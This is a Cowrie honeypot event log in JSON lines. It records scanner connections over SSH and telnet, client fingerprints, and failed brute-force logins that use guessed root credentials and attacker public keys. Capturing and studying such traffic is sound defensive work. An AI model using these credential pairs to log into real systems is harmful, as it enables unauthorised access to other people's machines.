{"eventid":"cowrie.session.closed","duration":44.36381793022156,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:55.438312Z","src_ip":"152.42.224.71","session":"6971a42206fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.942373752593994,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:56.387612Z","src_ip":"152.42.224.71","session":"5e30445b8c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00209212303162,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:31:57.170493Z","src_ip":"152.42.224.71","session":"b07a64477933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53602457046509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:01.226215Z","src_ip":"152.42.224.71","session":"d3416143f9a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.63090467453003,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:03.459471Z","src_ip":"152.42.224.71","session":"bc67533c22d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52292,"dst_ip":"10.17.0.5","dst_port":22,"session":"b510c800c95a","protocol":"ssh","message":"New connection: 80.94.92.184:52292 (10.17.0.5:22) [session: b510c800c95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:20.480701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:20.574357Z","src_ip":"80.94.92.184","session":"b510c800c95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:20.612215Z","src_ip":"80.94.92.184","session":"b510c800c95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.91276574134827,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:21.093377Z","src_ip":"152.42.224.71","session":"4426c56a503b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:21.253016Z","src_ip":"80.94.92.184","session":"b510c800c95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:22.447799Z","src_ip":"80.94.92.184","session":"b510c800c95a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9076e2ff9f15","protocol":"telnet","message":"New connection: 152.42.224.71:45342 (10.17.0.5:23) [session: 9076e2ff9f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:23.994554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42476,"dst_ip":"10.17.0.5","dst_port":23,"session":"11892fcfb83c","protocol":"telnet","message":"New connection: 152.42.224.71:42476 (10.17.0.5:23) [session: 11892fcfb83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:27.666482Z"}
{"eventid":"cowrie.session.closed","duration":53.68380427360535,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:29.256369Z","src_ip":"152.42.224.71","session":"d74627ef124f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56904,"dst_ip":"10.17.0.5","dst_port":23,"session":"82855c88ffbc","protocol":"telnet","message":"New connection: 152.42.224.71:56904 (10.17.0.5:23) [session: 82855c88ffbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:38.396378Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36206,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3ecc5e4bbf","protocol":"ssh","message":"New connection: 62.133.62.83:36206 (10.17.0.5:22) [session: af3ecc5e4bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:40.670440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:40.712574Z","src_ip":"62.133.62.83","session":"af3ecc5e4bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:40.777235Z","src_ip":"62.133.62.83","session":"af3ecc5e4bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369","message":"login attempt [root/369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:41.056966Z","src_ip":"62.133.62.83","session":"af3ecc5e4bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:42.138197Z","src_ip":"62.133.62.83","session":"af3ecc5e4bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56914,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06af200b17c","protocol":"telnet","message":"New connection: 152.42.224.71:56914 (10.17.0.5:23) [session: c06af200b17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:45.654399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35910,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7aacc7effb","protocol":"telnet","message":"New connection: 152.42.224.71:35910 (10.17.0.5:23) [session: 7c7aacc7effb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:47.483151Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1f08fa2911","protocol":"telnet","message":"New connection: 152.42.224.71:35924 (10.17.0.5:23) [session: 6f1f08fa2911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:55.202761Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40148,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38ae0490658","protocol":"ssh","message":"New connection: 94.159.98.239:40148 (10.17.0.5:22) [session: c38ae0490658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:56.697784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:56.705109Z","src_ip":"94.159.98.239","session":"c38ae0490658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:56.823334Z","src_ip":"94.159.98.239","session":"c38ae0490658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ckfdbr","message":"login attempt [root/ckfdbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:57.223475Z","src_ip":"94.159.98.239","session":"c38ae0490658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47594,"dst_ip":"10.17.0.5","dst_port":23,"session":"954608a828f3","protocol":"telnet","message":"New connection: 152.42.224.71:47594 (10.17.0.5:23) [session: 954608a828f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:58.255449Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:58.346476Z","src_ip":"94.159.98.239","session":"c38ae0490658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":42510,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3640916a0d1","protocol":"ssh","message":"New connection: 43.134.32.136:42510 (159.203.135.109:22) [session: a3640916a0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:58.520638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:58.525559Z","src_ip":"43.134.32.136","session":"a3640916a0d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:58.762398Z","src_ip":"43.134.32.136","session":"a3640916a0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s12345","message":"login attempt [root/s12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:32:59.741359Z","src_ip":"43.134.32.136","session":"a3640916a0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:00.985202Z","src_ip":"43.134.32.136","session":"a3640916a0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119495391846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:06.880934Z","src_ip":"152.42.224.71","session":"464453ff1410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.740219354629517,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:09.995548Z","src_ip":"152.42.224.71","session":"954608a828f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"f021216690f7","protocol":"telnet","message":"New connection: 152.42.224.71:39042 (10.17.0.5:23) [session: f021216690f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.073975Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":33868,"dst_ip":"10.17.0.5","dst_port":22,"session":"54130b52882d","protocol":"ssh","message":"New connection: 206.221.176.152:33868 (10.17.0.5:22) [session: 54130b52882d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.265840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.270205Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.276212Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:72:c7:21:85:3f:5a:89:33:e4:a8:b9:e2:0b:bf:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS5ToyFNUgKrX7SeKrvHseX5xgOUuteJbK+cabc8GMMGwl95DVLlg0yrRNLUGkvqm0b7bJoDV0XoCousrRQKV7YHPdsTT8x4DypsSkfGoRAxdAl5wpVzyrZGHU/bNUAzJGgrOfPDchGIirWN25ZfG6eRJ6vcmyXAs6ZcMgvLfVi2n/CDH4rXTNsVQaFjfdZ/NuiU5qQb/v1mQwkr+2UMs2E83KHfVwdX4tr+KgtEycG3r9V65msF21BxWVbC/DzUP0OQQe9wQiyapdIg0MYkO0rvNPF54Dg4sUu1vOuKS+JyvlCzbYwZpK4IDMrETiEMOuD2BuKPkRNCFQM4Yob5sV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:72:c7:21:85:3f:5a:89:33:e4:a8:b9:e2:0b:bf:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.292635Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:72:c7:21:85:3f:5a:89:33:e4:a8:b9:e2:0b:bf:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS5ToyFNUgKrX7SeKrvHseX5xgOUuteJbK+cabc8GMMGwl95DVLlg0yrRNLUGkvqm0b7bJoDV0XoCousrRQKV7YHPdsTT8x4DypsSkfGoRAxdAl5wpVzyrZGHU/bNUAzJGgrOfPDchGIirWN25ZfG6eRJ6vcmyXAs6ZcMgvLfVi2n/CDH4rXTNsVQaFjfdZ/NuiU5qQb/v1mQwkr+2UMs2E83KHfVwdX4tr+KgtEycG3r9V65msF21BxWVbC/DzUP0OQQe9wQiyapdIg0MYkO0rvNPF54Dg4sUu1vOuKS+JyvlCzbYwZpK4IDMrETiEMOuD2BuKPkRNCFQM4Yob5sV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.296827Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:bb:34:33:d8:75:06:1b:94:f0:c4:49:3b:32:16:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnFG5R+wb8o6sjBUYEG49ljSvDFcJOMu69zYhUIaxPsbO9Qi6THkKvRhuzaxZI6+2rxFg9uP7N85f9Aa/aR2nnHn82KPtEIeWBoNOlIzcadvP2MXNyydkDj3eqH1rMAPHOoLoWugCDFd3/EBahvnBS3T2tb+XhqOtV0fi+2BzLnPT0Mc6QU9KOlQX953Aa/Js20meyKzwHvKzorUxH+vDrXUFm4h2rCK8dlsRQ3Vz63xngbOGD1+KfDJbBPfyr/z7wrXhnCS6AFgJ9YCs1W4MW0rvMxC0Tdk7kSU6ACz9oWJ7MP2oqdhETH9HSbe/SKPa/tHYKsIv9y2jjXk1GVi/3dOeR+VoNCiwBhOxKuAlT9vOp1fquWBEPCOG0gdtauXFS2W7oWeVXRdH1bsGUwXLIKkFQU4VDzbnOyVemKow5goRadXvUV02PhwpBR7iSV0j3UXkUT4t6NQBjWxILKKRZ6Y7LotLfrcaRSKaJqjaAFJmLOcAWF//EJviu+0/C53dFCMkgr3eWi7uk1cmL4HG4zbEJLo6GZRHivX8G4qhdBGYgROjqiuCcsaG9HjVONJI58jCdHD6xemy/tPcpoOZgket3xMMez8amsuP4rjqcoKjW9ficSC34f6fMThJW4MgppUqd1vBsuHzfzcHvqJKb7tZ4dTy3jMxYHvwIdzgrQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:bb:34:33:d8:75:06:1b:94:f0:c4:49:3b:32:16:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.306952Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:bb:34:33:d8:75:06:1b:94:f0:c4:49:3b:32:16:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnFG5R+wb8o6sjBUYEG49ljSvDFcJOMu69zYhUIaxPsbO9Qi6THkKvRhuzaxZI6+2rxFg9uP7N85f9Aa/aR2nnHn82KPtEIeWBoNOlIzcadvP2MXNyydkDj3eqH1rMAPHOoLoWugCDFd3/EBahvnBS3T2tb+XhqOtV0fi+2BzLnPT0Mc6QU9KOlQX953Aa/Js20meyKzwHvKzorUxH+vDrXUFm4h2rCK8dlsRQ3Vz63xngbOGD1+KfDJbBPfyr/z7wrXhnCS6AFgJ9YCs1W4MW0rvMxC0Tdk7kSU6ACz9oWJ7MP2oqdhETH9HSbe/SKPa/tHYKsIv9y2jjXk1GVi/3dOeR+VoNCiwBhOxKuAlT9vOp1fquWBEPCOG0gdtauXFS2W7oWeVXRdH1bsGUwXLIKkFQU4VDzbnOyVemKow5goRadXvUV02PhwpBR7iSV0j3UXkUT4t6NQBjWxILKKRZ6Y7LotLfrcaRSKaJqjaAFJmLOcAWF//EJviu+0/C53dFCMkgr3eWi7uk1cmL4HG4zbEJLo6GZRHivX8G4qhdBGYgROjqiuCcsaG9HjVONJI58jCdHD6xemy/tPcpoOZgket3xMMez8amsuP4rjqcoKjW9ficSC34f6fMThJW4MgppUqd1vBsuHzfzcHvqJKb7tZ4dTy3jMxYHvwIdzgrQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:14.310997Z","src_ip":"206.221.176.152","session":"54130b52882d","protocol":"ssh"}
